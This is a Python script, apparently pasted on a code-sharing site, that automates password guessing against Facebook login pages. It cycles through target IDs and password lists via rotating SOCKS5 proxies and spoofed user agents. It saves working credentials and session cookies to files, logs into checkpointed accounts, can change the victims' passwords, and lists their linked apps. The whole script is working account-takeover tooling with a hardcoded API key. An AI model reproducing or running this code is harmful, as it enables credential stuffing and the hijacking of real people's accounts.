- tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ METHOD REGULER ]--------------------#
- def reguler1(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Mobile{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({"Host":"m.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
- p = ses.get('https://m.facebook.com/login/?email='+idf).text
- dataa ={
- 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
- 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
- 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
- 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
- 'email':idf,
- 'pass':pw
- }
- ses.headers.update({'Host': 'm.facebook.com',
- 'cache-control': 'max-age=0',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://m.facebook.com',
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': 'empty',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://m.facebook.com/login/?email='+idf,
- 'accept-encoding':'gzip, deflate br',
- 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
- po = ses.post('https://m.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- cp+=1
- tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- def reguler2(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Mbasic{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({"Host":"mbasic.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
- p = ses.get('https://mbasic.facebook.com/login/?email='+idf).text
- dataa ={
- 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
- 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
- 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
- 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
- 'email':idf,
- 'pass':pw
- }
- ses.headers.update({'Host': 'mbasic.facebook.com',
- 'cache-control': 'max-age=0',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://mbasic.facebook.com',
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': 'empty',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://mbasic.facebook.com/login/?email='+idf,
- 'accept-encoding':'gzip, deflate br',
- 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
- po = ses.post('https://mbasic.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- cp+=1
- tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- def reguler3(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Free{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({"Host":"free.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://free.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
- p = ses.get('https://free.facebook.com/login/?email='+idf).text
- dataa ={
- 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
- 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
- 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
- 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
- 'email':idf,
- 'pass':pw
- }
- ses.headers.update({'Host': 'free.facebook.com',
- 'cache-control': 'max-age=0',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://free.facebook.com',
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': 'empty',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://free.facebook.com/login/?email='+idf,
- 'accept-encoding':'gzip, deflate br',
- 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
- po = ses.post('https://free.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- cp+=1
- tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ CEK APLIKASI ]--------------------#
- def cek_apk(kuki):
- session = requests.Session()
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- print ("\r %s%s. %s%s"%(P,i+1,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
- except AttributeError:
- print ("\r %s\033[0m cookie invalid"%(M))
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- print ("\r %s%s. %s%s"%(P,i+1,M,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
- except AttributeError:
- print ("\r %s \033[0mcookie invalid"%(M))
- #-----------------------[ DEF CEK OPSI ]--------------------#
- import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
- import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
- from concurrent.futures import ThreadPoolExecutor
- from bs4 import BeautifulSoup as parser
- from threading import (Thread, Event)
- from time import sleep as jeda
- from datetime import datetime
- ct = datetime.now()
- n = ct.month
- bulan_ = ['January', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
- try:
- if n < 0 or n > 12:
- exit()
- nTemp = n - 1
- except ValueError:
- exit()
- current = datetime.now()
- hari = current.day
- bulan = bulan_[nTemp]
- tahun = current.year
- bullan = current.month
- waktu = ("%s-%s-%s"%(hari,bulan,tahun))
- bulan12 = {"01": "January", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- P = '\x1b[1;97m' # PUTIH
- J = '\033[38;2;255;127;0;1m' # ORANGE
- N = '\x1b[0m' # WARNA MATI
- acak = [M, H, K, B, U, O, P, J]
- warna = random.choice(acak)
- til ="\033[0m[+] "
- def jalan(keliling):
- for mau in keliling + '\n':
- sys.stdout.write(mau)
- sys.stdout.flush();jeda(0.03)
- ubah_pass = []
- pwbaru = []
- pwBaru = []
- ubahP = []
- def file_cp():
- dirs = os.listdir('CP')
- prints(Panel(f"""{P2}copy nama file hasil crack di bawah ini kemudian pastekan di bawah untuk cek opsi""",width=87,style=f"{color_panel}"))
- for file in dirs:
- prints(Panel(f"""{K2}{(file)}""",width=87,style=f"{color_panel}"))
- try:
- prints(Panel(f"""{P2}copy nama file di atas kemudian tempel di bawah ini contoh {M2}: {H2}{waktu}.txt""",width=87,style=f"{color_panel}"))
- opsi()
- except IOError:
- prints(Panel(f"""{M2}Tidak ada file untuk di cek silahkan crack dulu""",width=87,style=f"{color_panel}"))
- Menu().menu()
- def opsi():
- CP = ("CP/")
- romi = console.input(f" {H2}• {P2}Tempel atau masukan nama file yang ingin di cek disini : ")
- if romi == "":
- prints(Panel(f"""{K2}isi yang benar""",width=87,style=f"{color_panel}"))
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit(prints(Panel(f"""{P2}nama file{K2} {(romi)} {P2}tidak di temukan""",width=87,style=f"{color_panel}")))
- prints(Panel(f"""{P2}sebelem melanjutkan hidupkan mode pesawat selama 10 detik""",width=87,style=f"{color_panel}"))
- pw=console.input(f" {H2}• {P2}ubah password ketika tab yes y/n : ")
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2=console.input(f" {H2}• {P2}Masukan Password baru :{H2} ")
- if len(pw2) <= 5:
- prints(Panel(f"""{K2}Sandi minimal 6 karakter""",width=87,style=f"{color_panel}"))
- else:
- pwbaru.append(pw2)
- prints(Panel(f"""{P2}Total akun {M2}:{H2} {str(len(file_cp))}""",width=87,style=f"{color_panel}"))
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- #print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
- prints(Panel(f"""{P2}[{H2}{(str(nomor))}{P2}] {P2}Login Akun {K2}*--> {K2}{akun}""",width=83,style=f"{color_panel}"));jeda(0.10)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print("\n")
- Console(width=30).print(Panel(f"[bold green]SELESAI MENGECEK OPSI", style=f"{color_panel}"),justify='left')
- console.input(f" {H2}• {P2}Tekan Enter")
- #console.input("%s%s%s [%s Tekan Enter Untuk Kembali%s ] "%(U,til,O,U,O))
- os.system("python run.py")
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session=requests.Session()
- ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
- url = "https://mbasic.facebook.com"
- session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
- soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find("form",{"method":"post"})
- for x in soup("input"):
- data.update({x.get("name"):x.get("value")})
- data.update({"email":user,"pass":pw})
- urlPost=session.post(url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
- else:
- print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
- open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find("form",{"method":"post"})
- listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
- for x in response("input"):
- if x.get("name") in listInput:
- data2.update({x.get("name"):x.get("value")})
- an=session.post(url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all("option")]
- number=0
- print("\r%s%s \033[0m terdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
- for x in response("input"):
- if x.get("name") in but:
- dat.update({x.get("name"):x.get("value")})
- ubahPw=session.post(url+link2.get("action"),data=dat).text
- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find("form",{"method":"post"})
- but2=["submit[Next]","nh","fb_dtsg","jazoest"]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah("input"):
- dat2.update({b.get("name"):b.get("value")})
- dat2.update({"password_new":"".join(pwbaru)})
- an=session.post(url+link3.get("action"),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n OK %s%s%s|%s|%s "%(H,til,N,H,user,pwbaru[0],coki))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
- cek_apk(kuki)
- else:
- print("\r%s%s \033[0m\x1b[1;92mCheckpoint Terbuka, Akun Tap Yes Silahkan Login "%(H,til))
- tree = Tree(" ",guide_style=f"{color_ok}")
- tree.add(Panel(f"{H2}{ua}{P2}",width=83,padding=(0,2),style=f"{color_ok}"))
- prints(tree)
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
- cek_apk(kuki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print("\r%s\033[0m akun terpasang autentikasi dua faktor "%(M))
- else:
- print("%s%s\033[0mterjadi kesalahan"%(M,til))
- else:
- if "c_user" in session.cookies.get_dict():
- print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
- for opsi in range(len(cek)):
- number +=1
- jalan (" %s%s. %s%s"%(P,str(number),K,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find("div",{"id":"login_error"}).find("div").text
- print("%s %s"%(M,oh))
- else:
- tree = Tree(" ",guide_style=f"{color_panel}")
- tree.add(Panel(f"{M}login gagal, silahkan cek kembali id dan kata sandi{P}",width=83,padding=(0,2),style=f"{color_panel}"))
- prints(tree)
- def scarpping_ua():
- # Url & Headers website #
- url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
- header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
- # Main menu #
- # os.system('clear')
- try:
- response = requests.get(url,headers=header)
- if response.status_code == 200:
- uascrap.append(response.json()['ua'])
- else:
- uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
- except requests.exceptions.ConnectionError:
- uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
- #-----------------------[ SYSTEM-CONTROL ]--------------------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- try:os.mkdir('DUMP')
- except:pass
- try:os.system('touch .prox.txt')
- except:pass
- try:os.system('clear')
- except:pass
- login()
Add Comment
Please, Sign In to add comment